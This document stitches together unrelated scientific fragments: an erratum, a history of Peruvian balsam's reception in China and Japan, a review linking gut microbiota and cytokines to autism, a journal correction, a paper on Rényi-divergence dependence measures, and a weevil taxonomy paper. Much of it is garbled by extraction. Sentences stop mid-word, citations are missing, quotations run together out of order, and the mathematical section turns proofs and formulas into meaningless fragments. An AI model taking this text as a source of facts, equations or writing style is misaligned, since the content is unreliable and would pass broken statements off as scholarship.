In Fig. −1)”. In Fig. E (V vs. RHE)” should be replaced with “Voltage (V)”. The number “1.4” and “1.6” should be replaced with 1.6 and 2.0, respectively. The corresponding data analysis and conclusions in the manuscript are not affected and thus not to be changed. The correct Fig. In the original publication, the label text “Pt/C” in Fig.


Myroxylon balsamum (L.) Harms var. pereirae (Royle) Harms  is a botanical balsam that has a long history of medicinal use, particularly as antiseptic and for wound healing. Except for a Chinese article discussing the reception of balsam in China and Japan, no scientific studies on its impact in China and Japan and the channels of transfer from the Americas to Asia exist.Connections between China and the new Spanish colonies in America are known for an exchange of silver for silks and porcelains. That also medicinal drugs and medicinal knowledge crossed the Pacific Ocean is hardly known or discussed. Commiphora gileadensis  as a medicinal category and discusses the specific medicinal properties of Myroxylon balsamum (L.) Harms var. pereirae (Royle) Harms. The section “Historical research and uses” provides a brief survey on some historical analyses of balsam. Aim, design, setting: (2) Applying a comparative textual and archaeological analysis the article critically examines Chinese and Japanese sources  to show (i) what Chinese and Japanese scholars knew about balsam, (ii) where and how it was used, and (iii) to identify reasons why the “digestion” of knowledge on balsam as a medicinal developed so differently in China and Japan.Description: (1) This section provides a general introduction into Myroxylon balsamum (L.) Harms var. pereirae (Royle) Harms was partly a highly valued substance imported from the Americas into China and Japan. But the history of the reception of medicinal knowledge on Peruvian balsam was significantly different in China and Japan.This chapter discusses the introduction of “Peruvian balsam” into, its uses as a medicinal as well as its scholarly reception in early modern China and Japan and introduces the channels of transmission from Spanish America to Asia. It is shown that Myroxylon balsamum was continuously updated, especially through mediation of Dutch physicians; Japanese scholars, doctors and pharmacists possessed a solid knowledge on this balsam, its origin and its medicinal uses. In China, on the contrary, there was no further “digestion” or development of the knowledge on either Myroxylon balsamum (L.) Harms var. pereirae (Royle) Harms or Commiphora gileadensis. By the late nineteenth century, related medicinal and even geographic knowledge had mostly been lost. The interest in “balsam” in late Qing scholarship was pure encyclopaedic and philosophic.In Japan, the knowledge on  Kunyu Wanguo quantu 坤輿萬國全圖 , following Ricci’s format, drew his own map Wanguo quantu 萬國全圖, included in his geographical treatise Zhifang waiji 職方外紀 . Aleni also mentions Peru (Bolu 孛露), and speaks of “extremely rich gold and silver” ores (gu jinyin zuiduo 故金銀最多)  plant, or the “Balm of Judea” was frequently mentioned ) by Duan Chengshi 段成式 (801 or 802–863) as a product of the Byzantine Empire (Fulin guo 拂林國) . Its bark has a greenish-whitish colour. The leaves are fine and always two face one another. The flowers are upright like rape turnips [Brassica rapa var. rapa], and the buds are reddish like the colour of ripe black pepper (hujiao 胡椒). Cutting its branches, a sap [leaks] like oil. Taken against scabies and sores, there is no disease it cannot heal. Its oil is very valuable and is as expensive as gold.”阿勃參出拂林國長一丈餘皮青白色葉細兩兩相對花似蔓菁正黄子似胡椒赤色斫其枝汁如油以塗疥癬無不瘥者其油極貴價重於金.This description attests to the fact that already Duan Chengshi knew about the excellent properties of balsam against skin diseases. And he, too, mentions the high price of balsam.aboshen   …[Ar.] ‘Ud-e balasān [wood of C. opobalsamum] ([subtext] this is a black-colored myrrh) …[Pr.] balasān    to smear the hand. …Use oil of [Ar.] Balasān  seeds  [[Pr.]  seed”]) .aboshen appears in the sources until Ming times, and the Chinese knew balsam as a product originating from the eastern Mediterranean and the Arab worlds. And also the medicinal qualities of balsam, especially against skin diseases and sores, were already known in China during Tang times. It was only with the advent of the Jesuits that balsam from the New World, that is, from the new Spanish colonies in America, was introduced—the balsam of Peru.As we will see below, the expression Actually, the balsam of Peru—that belongs to a quite different family, Fabaceae, that is interestingly nowhere close to the family of the Old World balsam, Burseraceae—originally came from the part of Central America known as Salvador or balsam coast, so the name is at least misleading. Albert Hale traces this misnomer back to European ignorance of the American continent. Next to Mexico, Peru was the land of El Dorado and everything originating from the Pacific “was apt to be called Peruvian, whether from Peru itself, from Chile, or the mysterious Potosí” . I wouldhoitziloxitl” . In Peru, there is a balsam tree that produces an oil; when the tree is cut with a knife, the oil leaks out, applied on dead corpses, these do not decompose (孛露國有巴爾婆[=撒]摩樹上油以刀取之塗尸不敗) . On the Da Qing huidian shili 大清會典事例 (Collected Statutes of the Qing Dynasty: Precedents), in 1727, the Portuguese royal envoy Alexandre Metello de Souza e Menezes (1687–1766) presented the Yongzheng Emperor several gifts, among them “St. Thomas, Peruvian and Brazilian balsam oil”  . Xu. XuHaigupage 40b .Fig. 4aHaiguo tuzhi 海國圖志  says: “There is a tree that produces a grease (oil) which is extremely fragrant and is called balsam; it is used to treat all kinds of injuries, within one night, the muscles and flesh are totally recuperated as before. Applied on smallpox, they do not leave scars. Applied to dead corpses, these do not decompose even after ten thousands of years” (有樹生脂膏極香烈名拔爾撒彌傅諸傷損一晝一夜肌肉復合如故傅痘不瘢以塗尸千萬年不朽壞)  the right syndrome”    has memo雍正十二年二月初六日內大臣海望奉旨:據額附策淩奏稱,巴爾撒木油軍前深為適用,爾將油多多料理些,用盛茶錫瓶盛裝,務期堅固包裹,帶與額附策淩應用。欽此。於本月初九日司庫常保將巴爾撒木油二十斤盛在造辦處做得大錫瓶二十瓶、小錫瓶四瓶、盛茶錫瓶十六瓶,以上共四十瓶 .Faced with its usefulness as a remedy in the army, it is not surprising that the available Peruvian balsam from Spanish America circulated more widely and was more widely applied during Qing times than the balsam that originated from the Middle East.–1795) decreed that the Portuguese missionary Manuel de Mattos (1725–1764) provide “balsam fragrance” 巴拉薩嗎香  Bai Shixiu asked for 8 qian (ca. 30 g) of balsam oil to use it for balsam fragrance to prevent colds   because he died in a sitting posture  will dry by itself; this is the special way of Theravada  to reach the status of [unification with nature]. Is this not sufficient to startle? Bones and hard matter do not decay, the will congeals and the essence is bound to become a demon. If one burns what is not evil, this is the origin of the Buddhist Śarīra relic. What is said in the explorations of thing is that hair and organ of a boy can be stuck to the Śarīra relic, when frankincense remains long, it can bear a Śarīra.”“When Li Yu  ingested posture , nao min合婆律也乾澒納鼻而耨香熏為肉身者也寡欲恬澹气盡而逝心不係戀煖從頂脱尸為遺蜕久之自乾小乘專致常然豈足怪乎骨剛者不壞志凝精結有成塊燒不壞者此舍利子之所由來也物理所曰童男髪根可黏起舍利乳香久留能生舍利.留屍法 李預服玉其尸暑中不殠黄金塞竅亦不腐灌澒更效或以茶灂澒納鼻亦可暑中不殠漢書言汙辱呂雉尸以水銀斂也孛露國有一拔爾撒摩樹脂塗尸千年不朽確辨録曰有徒以坐脱販其師者Why Fang Yizhi was so interested especially in the embalming of dead corpses in ancient Peru is an interesting question. We know from ancient, especially Han and pre-Han period, tombs that members of the ruling and social elites in China also frequently embalmed their dead. Lady Dai from the Mawangdui 馬王堆 tomb complex (168 BCE) is perhaps one of the most well-known examples. Well preserved mummies were also discovered from the Ming and Qing dynasties . The pracirujano), requested the authorities to pay for the medicines and the labour to embalm the cadaver of the archbishop of the Philippines (1729–1732), Carlos Bermúdez de Castro (1678–1729)  took care of a cargo of animals for the Spanish King, among them one elephant, four small deer from Batavia, two deer from Coromandel and a dove from Ternate; accordingly, the elephant and three of the four deer reached their destination alive and the others embalmed  .F.FKunyu Keiyō kibun, he explicitly states that he discussed the location of Peru with Dutch people. Dutch medicine applied various balsams in its treatments. So Dutch physicians offered another channel to obtain more knowledge on the uses of balsam as a medicinal.All this demonstrates that Arai Hakuseki intensively engaged with the knowledge about these foreign countries and their products. In Hon‘yaku Chikyū zenzu ryakusetsu 翻譯地球全圖略說 (Translation and Brief Account of the Entire World Map) in 4 juan [Katsuragawa Hoshū 桂川甫周 (1751–1809), a Japanese physician and Rangaku scholar who served the Tokugawa Shogunate 徳川幕府 (1603–1868) as a physician and translator of Dutch, translated the world map by Willem Janszoon Blaeu (1571–1638) into Japanese, n 4 juan . He alson 4 juan  and numen 4 juan .Fig. 7aOranda ihō san’yō 和蘭醫方纂要  [In 1817, Ema Shōsai 江馬松斎  translated and printed the Recipes) . He alsoRecipes) .Fig. 8EShinyaku Oranda neikai yōhō 新譯和蘭內外要方  that also explicitly refers to balsam of Peru (拔爾撒謨百露比亞泥) [Ensei ihō meibutsukō 遠西醫方名物考  that provides even more information on the Peruvian balsam: “Bo’ersamo Poli, also called barusamu peruviana in Latin, and zuid indiaanse balsam in Dutch” (拔爾撒謨孛露 又「バルサム.ペルビアニ」羅「スワテ.インデアーンセ.バルセム」蘭). They describe the tree and also its medicinal uses and indications: it strengthens the nerves, prevents decomposition, can be used as a laxative, with cleaning functions, to sweat out excretions, can dissipate cold tuberculosis and is also effective against pneumoconiosis, asthma, gonorrhoea and other deficiency diseases [Yoshio Shunzō 吉雄俊藏 (1787–1843) translated a manual written for physicians on board of ships by the seventeenth-century Dutch official surgeon, Jan Kouwenburg, 撒謨百露比亞泥) . In the 撒謨百露比亞泥)  translatdiseases . This isChaxiang shi congchao 茶香室叢鈔, he copies Fang Yizhi’s Wuli xiaoshi and adds his remarks: “I do not know where the country of Peru is located, and also do not know what kind of tree this balsam is”  [Yu Yue 俞樾 (1821–1907) was a very prominent Qing scholar, specialized in philology and textual studies, including history. In his scholarly notes, 撤摩亦不知何樹) . That anWhat conclusions can we draw regarding the transfer of knowledge related to the use and application of Peruvian balsam?–1730) and Jean-François Gerbillon (1654–1707) even set up a pharmaceutical laboratory with all the necessary equipment at the request of Kangxi [Knowledge about the substance was brought to China through European missionaries. Initially, balsam was probably only used in the hospitals and pharmacies of European missionaries. But the knowledge gradually reached the court and the social and ruling elites of China. Especially the Kangxi Emperor possessed a very positive attitude towards Western medicine, and even wished to have European physicians and pharmacists at court. He definitely sponsored the dissemination of Western medicine in China. The French Jesuits Joachim Bouvet , as it was very effective in curing external knife, sword, arrow and other injuries as well as skin diseases, including smallpox . This isfugu 復古). After the Opium Wars (1839–1842 and 1856–1860), many also felt threatened by the West and by Western traditions. In this context, starting in the second half of the nineteenth century, the idea of using “Chinese learning as substance, and Western learning for practical use”  became very widespread and popular among Chinese thinkers. This may explain, at least partly, why their interests in Western knowledge were strictly limited. If such knowledge was not directly related to Western technology and military systems that could be used to strengthen the country , it remained basically encyclopaedic and philosophic.After the Qianlong era, however, the “new” knowledge gradually was lost—in a complete disparity with Japan where the knowledge was continuously updated. Living in an environment where contacts to the outside world were the exception rather than the rule, many Japanese physicians were eager to learn more about medical practices from abroad. Especially through the mediation of Dutch physicians and their medicinal knowledge—then among the most advanced in the early modern world—Japanese scholars, doctors and pharmacists came to have a solid knowledge about the balsam of Peru, its origin and its medicinal uses. By contrast, most Chinese physicians, medical theorists and intellectuals were preoccupied with metaphysical and cosmological interpretations of their own classical traditions, seeking a “return to antiquity” (


Autism spectrum disorders (ASDs) are neurodevelopmental disorders that present with social skills and communication challenges, restricted interest, and repetitive behavior. The specific cause of autism is not well understood yet. However, numerous studies indicated that environmental and genetic factors, dysregulated immune response, and alterations to the balance and content of the gut microbiota are implemented in the development of autism. Many non-pharmacological interventions are nominated to manage autism, including family support services and psychoeducational methods. Moreover, different pharmacological therapy modalities are recommended for children with ASD. Learning more about the brain, immune system, and gut connections could assist in early diagnosis and treatment of this devastating neurodevelopmental disorders as an early intervention in ASD could improve a child's overall development. We gathered data from relevant previously published articles on PubMed to evaluate the role of the gut microbiota and the immune system on the development of autism. Compared to other body areas, the gut has the most significant number of microorganisms, more than a trillion, with various species . Gut MicAutism spectrum disorders (ASDs) refer to a wide range of disorders present with social skills and communication challenges, restricted interest, and repetitive behavior ,8. The rThe precise etiology of autism is not yet known ,14. HoweMany non-pharmacological interventions are nominated to manage autism, including family support services and psychoeducational methods ,25. DiffLearning more about the brain, immune system, and gut connections could assist early diagnosis and treatment of this devastating neurodevelopmental disease as an early intervention in autism could improve a child's overall development. This literature review article aims to evaluate the neurobiology of autism and the role of the gut microbiota and immune system response in developing autism in children. We searched Pubmed as the primary source to gather the related studies. We selected articles based on details and relevancy and included randomized clinical trials, animal studies, systematic reviews, and observational studies.The gut microbiota and autism Research indicates that there are discrepancies in the composition of the gut flora between autistic children and controls, with an excess quantity of members of Clostridium and Sutterella genus found in the gut of children with autism . FurtherFinegold et al. examined stool specimens from 33 children with autism aged two to nine years with gastrointestinal (GI) abnormalities and 13 control children with no autism or GI disorders to assess the amount of Clostridium perfringens (C. perfringens) and C. perfringens toxin genes in their gut . They coTomova et al. investigated fecal microbiota changes and the frequently existing digestive tract disorders in children with autism . They exInvestigations showed a microbial shift in the digestive tract of children with autism, with a significant increase in the number of Desulfovibrio species, Lactobacillus species, and C. perfringens. Likewise, animals with similar microbial changes presented with a clinical picture of autism. Concluding, the gut microbiota is necessary to maintain the digestive system's physiological state; alteration of this intestinal flora has been associated with autism.The influence of TNF-α, IL-8, and IL-6 on autismAutism is associated with central nervous system inflammation, which leads to an imbalance in the plasma level of some inflammatory markers . IdentifAlzghoul et al. conducted a study in Jordanian children to measure and compare TNF-α, IL-8, and IL-6 in autistic children, their unaffected siblings, and unrelated healthy controls . After iWei et al. had immunohistochemistry studies that indicated the association of IL-6 with autism . They emSeveral studies measured and compared the plasma level of TNF-α, IL-8, and IL-6 in autistic and control subjects. Results indicated a statistically significant increase in the level of TNF-α, IL-8 (p < 0.001), and IL-6 (p < 0.05). The influence of these inflammatory cytokines on autism is proposed.Other inflammatory factors associated with autismStudies indicated that brain inflammation has a significant role in the pathophysiology of autism. Theoharis C Theoharides et al. reported that mast cells (MCs) are involved in the development of autism, which worsens with stress . StimulaAutism is also related to dysregulation of some other inflammatory factors . In 2018Interleukin-4 (IL-4) and interleukin-10 (IL-10) are recognized mostly as anti-inflammatory cytokines . HoweverAhmad et al., in their clinical trial, assessed the effect of T cell immunoglobulin and mucin domain-3 (TIM-3) signaling in the development of autism . They reThere is an intimate and complicated relationship between the brain and the immune system; the pathophysiological changes in autism have been correlated to certain inflammatory factors’ elevation. Understanding each element’s role is critical for early testing and diagnosis of autism and could be studied to develop future interventions.Several studies showed a significant variation in the gut microbiota in children with autism compared to control children with a remarkable amount of Desulfovibrio species, lactobacillus species, and C. perfringens. Research also reported that some inflammatory cytokines’ plasma levels were higher in autistic children with a notable amount of tumor necrosis factor-alpha (TNF-α), interleukin 8 (IL-8), interleukin 6 (IL-6). Further, there is an elevation of some anti-inflammatory cytokines like Interleukin-4 (IL-4) and interleukin-10 (IL-10) in children with autism. These could be targeted areas to manage autism and provide better developmental outcomes. However, it is not clear yet if the gut microbiota treatment and the blunt of the inflammatory cytokine signals courses could treat autism. More research is needed to elaborate on that.


Scientific Reportshttps://doi.org/10.1038/s41598-020-71725-0, published online 9 September 2020Correction to: The Supplementary Information file that accompanies this Article contains errors in Table S1, where the citation information under columns "First Author", "Publication Year" and "Journal" in row 86 is incorrect.“Havm√∏ller”, “2018” and “Report”.should read:“Havmøller”, “2019” and “PlosOne”.


Two families of dependence measures between random variables are introduced. They are based on the Rényi divergence of order  X and Y taking values in the finite sets X and Y, but of their joint probability mass function (PMF) The solutions to many information-theoretic problems can be expressed using Shannon’s information measures such as entropy, relative entropy, and mutual information. Other problems require Rényi’s information measures, which generalize Shannon’s. In this paper, we analyze two Rényi measures of dependence, r α (see  ahead); opy (see  ahead). The measures ings see : JαThe measures ormation , and botThe rest of this paper is organized as follows. In The measure  Hayashi  ; r α (see  ahead); y|x)α]1α=minQYDα(−Hα(X|Y)=αα−1log∑|x)α]1α,Iαc≜y|x)α]1α=minQYDα(Equation  and 8)..Iαs(·), vided in  =m2Jα=XY∥QXQY)=minQYαα−y)1−α]1α≥minQYαα−QY(y)1−α=IαcWe next prove :18)Jα(Jα((18)JαXY∥PXQY)=Iαs in . □X and Y; =maxPXIαcProposition 2For every conditional PMF .By , the lefα>1maxPXIαc((PXPY|X)≤maxPXIαsα>1maxPXIαc((PXPY|X)≤maxPXIαsf-divergence f-divergence.  ,12,13. EXY∥PXPY)=∑x,yP(x)ample in , and a cXY∥PXPY)=∑x,yP(x)ample in .In this section, we discuss the operational meaning of  testing  and of Kencoding .0)Under the null hypothesis, 1)Under the alternative hypothesis, Consider the hypothesis testing problem of guessing whether an observed sequence of pairs was drawn IID from some given joint PMF n sufficiently large, Associated with every deterministic test or whichlim infn→or whichlim infn→The measure lows: In  . For a fixed For large values of exponent ,18, whicnstraint  is given)=1].In  (second rs as in  and 31)EQ, the on, the sequences n tends to infinity .To better understand the role of Then, by  H0 For all (ii) The mapping (iii) The mapping . Let P The relative entropy (or Kullback–Leibler divergence) is defined asThe Rényi divergence of order α ,22 is den one asDα(P∥Q)≜1With this extension to Proposition 4.Let P and Q be PMFs. Then,(i) For all (ii) For all (iii) For every (iv) The mapping (v) The mapping Proof. Part (i) follows from the definition of ventions , and ParThe Rényi divergence for negative found in  ≜αProposition 5.Let P and Q be PMFs. Then,(i) For all (ii) For all (iii) For every (iv) The mapping (Part (i) differs from   follows from the definition of (P∥Q) in  and the (P∥Q) in . For α∈. We first establish the relation between Proposition 6Let P and Q be PMFs, and let where the PMFs =mXY∥QXQY)=minQX,QYY∥QXQY˜)=minQX,QY∥Q˜XQ˜Y)=minQX,QY=Q˜XQ˜Y;  and (66)XY∥QXQY)=J1α, so  holds. OP(Y), so  is finitgiven by  is well-QY∈P(Y),Dα(PXY∥QXQY∈P(Y),Dα(PXY∥QXtion 4),  and 76)α∈∪(The case e RHS of  is infine RHS of  is infine RHS of  is finitgiven by  is well-QY∈P(Y),D∞(PXY∥QXQY∈P(Y),D∞(PXY∥QXtion 4),  and 78)α=∞ is anWe state the properties of Theorem 1.Let X, (Lemma 1)For every The following properties of the mutual information I  (Chapter(Lemma 2)For all (Lemma 3)For all (Lemma 4)If (Lemma 12)If the pairs (Lemma 13)For all (Lemma 14)For every Moreover:(Lemma 5)(Lemma 6)Let where (Lemma 7)(Lemma 8)For all Thus, being the minimum of concave functions in α, the mapping (Lemma 9)The mapping (Lemma 10)The mapping (Lemma 11)If The minimization problem in the definition of (Lemma 15)For every For (Lemma 16)Let with the conventions of . The caswith the conventions of . (If α=1(Lemma 20)For every The measure (Lemma 17)For all where and is given explicitly as follows: for with the conventions of ; and forwith the conventions of . For eve(Lemma 18)For all whereFor every (Lemma 19)For all where the minimization is over all PMFs given by ; and Galfunction  is definWe now move on to the properties of Theorem 2.Let X, (Lemma 21)For every The following properties of the mutual information (Lemma 22)For all (Lemma 23)For all (Lemma 34)If the pairs (Lemma 35)For all Unlike the mutual information, (Lemma 36)There exists a Markov chain Moreover:(Lemma 24)For all where wer mean  For where in the RHS of (102), we use the conventions . The ine(Lemma 26)(Lemma 27)Let where (Lemma 28)(Lemma 29)The mapping (Lemma 30)The mapping (Lemma 31)The mapping (Lemma 32)If (Lemma 33)For every In this section, we prove the properties of Lemma 1.For every Proof. Let Lemma 2.For all Proof. X and Y are independent, then X and Y are independent. □The nonnegativity follows from the definition of Lemma 3.For all Proof. X and Y. □The definition of Lemma 4.If Proof. Let  becauseJα≤D∥Q^XQ^Z)≤Dα(PXY∥Qlow thatDα(PXZ∥Q^∥Q^XQ^Y)=Jα,X;Y), soJα=DX, Y, and Z form a Markov chain. If The proof of  is based,z′|x,y)=∑yPXY(x′Z′|XY asAX′Z′|XY(|Y(z′|y)=∑yPXY=∑yQ^X(x′Z′|XY asAX′Z′|XY(|Y(z′|y)=Q^X(x′)Q),where . Finally),where :120)DαDαAX′Z′|Xz′|x′,y)=PXZ=Q^X(x′)QX′Z′|XY)≤Dα=ws from Q^Y(y)≤maxQX,QYy)Q^Y(y)≤maxQX,QYuiAi,jvj≤∑i,j|ui|y)Q^Y(y)≤maxQX,QY2=1, and . □Lemma 7.Proof. This follows from Proposition 8 because Lemma 8.For all Thus, being the minimum of concave functions in α, the mapping Proof. For α=1,  holds beα∈,(1−α)Jα(XXY∥QXQY)=minQX,QYRXY∥PXY)=minRXYJα(XXY∥QXQY)=sup=minRXY∈RRXY∥PXY)=minRXY∈Pf defined next takes on finite values only. A brief proof of Ky Fan’s minimax theorem appears in δ≤{∑x,yP(xy)]2δ}12≤{∑x,yP(xion 4); ≤1,where,D1−2|1−α|y)]2δ}12=2−δD1−2δ=Jα≤Dα,D1−2|1−α|=Jα≤Dα(PXY∥PLemma 11.If Proof. We show below that  holds fo). Thus,  holds alFix ). Then,Jα=mx)1−α]1α=minQXαα−First consider the case X(x)1−αα=2α−1α−1lher with  and (172her with .Now consider the case QX∈P(X),∑xPX(x)QXQX∈P(X),∑xPX(x)QX(x)QX(x)≤∑x≥minQYαα−f]≥λminQYαα)f=λJα(PXPYPX′)PY|X=minQYminy)1−α]1α=minQYαα−Lemma 15.For every For Proof. We establish  for α∈[1ablishes  for α∈{1le where  is violaWe begin with the case where )]1−α]λ′≤λ∑x,yP(x′(y)1−α]≤∑x,yP2(1−α)≤∑x,yP2(1−α)≤∑x,yP]1−α≤∑x,yPλ′]1−α=∑x,yP,DαPXY∥,DαPXY∥(0.Lemma 16.Let with the conventions of . The caswith the conventions of . (If α=1Proof. If low from  and 78)ablishes  and Jα;  holds beα; ≤λDα(PXY∥QX′Q^Y′)=λϕα(QX)+X be uniformly distributed over Finally, we show that the mapping ∈,ϕα,ϕα∪,  follows stablish  as folloBecause  holds foWe now establish . Let RXYe RHS of . Then, fYψ∞(RXY)≥maxRXYψα),where , ψ∞(RXY)X×Y). By , α↦ψα(RXYψα(RXY)≥ψα(RXY*)ity, and  follows We now show that 1,∞). By , α↦ψα(RXWe next show that if ). Then,ψα(RXY)≤J),where , and ≤Dα≤D(RXY∥QXRXY∥PXY)≤Dα(PXY∥QRXY∥PXY)≤D(RXY∥QX). Then,Jα=ψ∥QX*QY*)=Jα,RXY∥PXY)≤Dα≜PXe RHS of  is finite RHS of  holds be RHS of =mx)1−α]1α=log∑xPX( (Q^X asQ^X(x)≜PXx)1−α]1α≤αα−1log∑ RHS of =mf (RX asRX(x)≜PX( (Q^X asQ^X(x)≜PXx)1−α]1α≤αα−1log∑Lemma 20.For every Proof. First consider rve thatJα≤D+0.5Q^Y)≤0.5Dα(PX+0.5Q^Y)≤0.5Dα, and  in the pY), and , then  in the p), then (D(RXY∥RXR), then =αLemma 21.For every Proof. Let Lemma 22.For all Proof. X and Y are independent, then X and Y are independent. □The nonnegativity follows from the definition of Lemma 23.For all Proof. X and Y. □The definition of Lemma 24.For all where wer mean  =Jα=minQX,QY.Hence,  follows α=minQX,QY and QY,D1α(P˜XY∥Lemma 25.For where in the RHS of (292), we use the conventions . The ineProof. We first prove . Recall  and QY,Δ0. Let We next establish . To thatα∈,Kα+Hα∈,Kα+Hα∈,Kα+H),where  follows (y)]α−1α=minQX,QY(y)]α−1α=minQX,QYFinally, we provide an example for which (292) holds with strict inequality. Let Lemma 26.Proof. The claim follows from Proposition 8 because Lemma 27.Let where Proof. Let 2.Then,K2=J2=−2logσ1ogσ1(βB)=−2logβσ1ogβσ1(B)=−2logσ1+H′=Kα′α≥minQX,QY and QY,Mα−1α+HThe monotonicity extends to α∈,Kα+H≥Hα≥H∞≥H∞=K∞+Lemma 31.The mapping Proof. Because α∈,1−1αKα=minRXY1−αHα=minRXY1−αHα=minRXY1−α∈,1−1αKα,K∞+H+Hα≤−logMα−1Q^X,Q^Y)=αα−1H∞ in  and H∞ in ; and =K∞+α∈,K∞+H1H∞=K∞+It remains to show the continuity at e RHS of  ahead, 1ed as in  and ]δ]1δ≤2δ]12δ≤2δ]12δ=M2δ,−logM2|α−Lemma 32.If Proof. We first treat the cases For α=0,  holds beor α=0, =lpp(PXY)|=log|suppFor α=1,  holds beFor α=∞,  holds beNow let <2, then  holds be2, then =Jα=H12−α(X˜′)α]12−α=2Hα2−α=Jα=1α−1H∞(XXPX(x′)α=αα−1H∞(XLemma 33.For every Proof. Let X be uniformly distributed over We next show that for (P∥Q) in  that Δ0|=K0|=log|suppNow let oint PMFP˜X1X2Y1Y2. Then,Kα=Kα=J1α=l becauseKα=Jα≤log|X|,Lemma 36.There exists a Markov chain Proof. 0001Using Lemma 27, we see that Let the Markov chain


Rhinodontodesalashanensissp. nov., Trachyphloeosomahonzasp. nov., T.jirkasp. nov., and T.martinsp. nov. are described from China, illustrated and compared with similar species. The genus Rhinodontodes and the species Rhinodontodessubsignatus Voss, 1967 and Rhinodontusmongolicus Borovec, 2003 are recorded from China for the first time. Keys to all Chinese genera of Trachyphloeini, and to the Chinese species of Rhinodontodes and Trachyphloeosoma, are provided. Trachyphloeini Gistel, 1848 is a medium-sized tribe of entimines containing small wingless, terricolous species with body size 1.3–6.8 mm, having limited ability to migrate. They are mostly xerothermophilous, associated with steppe habitats, xeric grasslands, stony or sandy places, ranging to sandy semideserts ; Rhinodontodessubsignatus Voss, 1967, based on a single specimen from Mongolia. The holotype was later examined by IZCAS and ZIN, and we are able to discuss characters used for the definition of Rhinodontodes. Voss described the genus as similar to Rhinodontus in its elongated epistome, but distinguishable by tarsomere 3 being wider than tarsomere 2, claws parallel in basal half, apical part of protibiae not distinctly enlarged laterally, rounded, without spines and narrower pronotum, 1.34–1.42 × as wide as long, with anterior margin not distinctly narrower than posterior one. Trachyphloeini confirmed Rhinodontodes as related to Rhinodontus and Pseudocneorhinus, sharing the character states of epistome projected anteriorly and ocular lobes with short setae with Rhinodontus, and having as an autapomorphy, rostrum continuous with head, not separated by any furrow. Some of the characters previously used to distinguish Rhinodontodes are not unique, in comparison with newly known Pseudocneorhinus described in P.bifasciatus Roelofs, 1880 also have the epistome projected anteriorly .Holotype. China – Inner Mongolia Autonomous Region • 1 ♂; Алашанъ, Дын-юань-ин, V.08 ек. Козлова ; Pseudocneorhinus alashanicus Typ. m.; G. Suvorov det.; ZIN. Paratypes. CHINA – Inner Mongolia Autonomous Region • 1 ♂ 1 ♀; same data as for holotype; ZIN.Body length: 3.94–4.31 mm, holotype 3.94 mm.Body  1.4–1.6 × as long as tarsomere 3. Claws fused at basal third, moderately and regularly divergent apicad.Penis ; Inner Mongolia Autonomous Region • 2 ♂♂ 2 ♀♀; 阿拉善左旗贺兰山水磨沟正沟 ; 27 Jul. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1965104, IOZ(E)1965108, IOZ(E)1965105, IOZ(E)1965110; • 3 ♀♀; 阿拉善左旗贺兰山哈拉乌青树湾 ; 30 Jul. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1965107, IOZ(E)1965109, IOZ(E)1965113; • 1 ♀; 阿拉善左旗贺兰山主峰峰顶 ; 3134 m a.s.l.; 17 Aug. 2010; 38°49.8'N, 105°56.4'E; 林美英 [M.Y. Lin leg.]; IZCAS, IOZ(E)1965112; • 1 ♂; 阿拉善左旗贺兰山水磨沟正沟 ; 2025 m a.s.l.; 16 Aug. 2010; 38°55.8'N, 105°53.4'E; 林美英 [M.Y. Lin leg.]; IZCAS, IOZ(E)1965114 • 2 ♀♀; 阿拉善左旗贺兰山强岗岭 ; 8 Aug. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1965106, IOZ(E)1965111; • 1 ♂ 1 ♀; 阿拉善左旗贺兰山古拉本 ; 6 Aug. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1965102, IOZ(E)1965101; • 1 ♀; 阿拉善左旗贺兰山北寺 ; 13 Aug. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1965103; • 1 ♀; 阿拉善左旗贺兰山水磨沟 ; 25 Jul. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1941122.China – RBSC; • 2 ♀♀; Bayan-Chong, Aimak, Ich-Bogdo-Ula, srednegorie [central mountains]; 2500 m a.s.l.; 3 Jul. 1973; G. Medvedev leg.; ZIN.Mongolia • 1 ♀; 40 km W Dalanzadgad, Gobi Gurvansaikhan NP, Yolyn am env.; 28–30 Jun. 2003; 1700–2000 m a.s.l.; Z. Jindra leg.; R.subsignatus come from Mongolia and also from China, Inner Mongolia Autonomous Region. The four males and 11 females from China differ somewhat from the three females from Mongolia, which share with the holotype slender, subparallel-sided, semi-erect elytral setae, while material from Mongolia has wider, subspatulate, semi-appressed elytral setae. Mongolian and Chinese specimens are almost identical in all other characters thus we assume the shape of elytral setae is a variable character of the species. This is the first record of R.subsignatus from China ; Rhinodontus currently contains five valid species from China and Mongolia ; Qinghai Prov. • 2 ♀♀; Ю. скл. хр. Бурхан-Будда: дoл. oз. Алык-нoр. 30.V.1900. Експ. Кoзлoва. ; ZIN.China – This species was described based on three females from China, Xinjiang and Gansu. This is the first additional locality since the original description.Rhinodontuscrassiscapus differs from all other species of the genus by its very short, distally thickened scape and by its long raised elytral setae being longer than one half of the interval width.Taxon classificationAnimaliaColeopteraCurculionidaeFaust, 18908F6F4056-F0C6-5E77-BDE5-EF41EBA5E089Rhinodontusignarus Faust, 1890: 455 ; Rhinodontusproximuscentralis Voss, 1967: 276 .Inner Mongolia Autonomous Region • 2 ♀♀; 阿拉善左旗贺兰山哈拉乌青树湾 ; 30 Jul. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1965140, IOZ(E)1965142; • 1 ♀; 阿拉善左旗贺兰山强岗岭 ; 8 Aug. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1965141; • 6 ♀♀; 阿拉善左旗贺兰山哈拉乌主峰 ; 1 Aug. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1965143–1965148.China – ZIN; • 1 ♀; Centralnyi Aimak, Dzorgol-Khairkhan, Uver-Undzhul-Ul hill; 16 Jul. 1973; G. Medvedev leg.; ZIN.Mongolia • 1 ♀, Centralnyi Aimak, Dzorgol-Khairkhan, 30 km NE Undzhul; 16 Jul. 1973; G. Medvedev leg.; R.ignarus.Nine females from China (Inner Mongolia) have the spermatheca with a shorter ramus and more slender collum and nine spines at the protibial apex in comparison with previously known material, including the type specimens, of the species having only eight spines. Due to the lack of males of this population we currently retain it as conspecific with Taxon classificationAnimaliaColeopteraCurculionidaeBorovec, 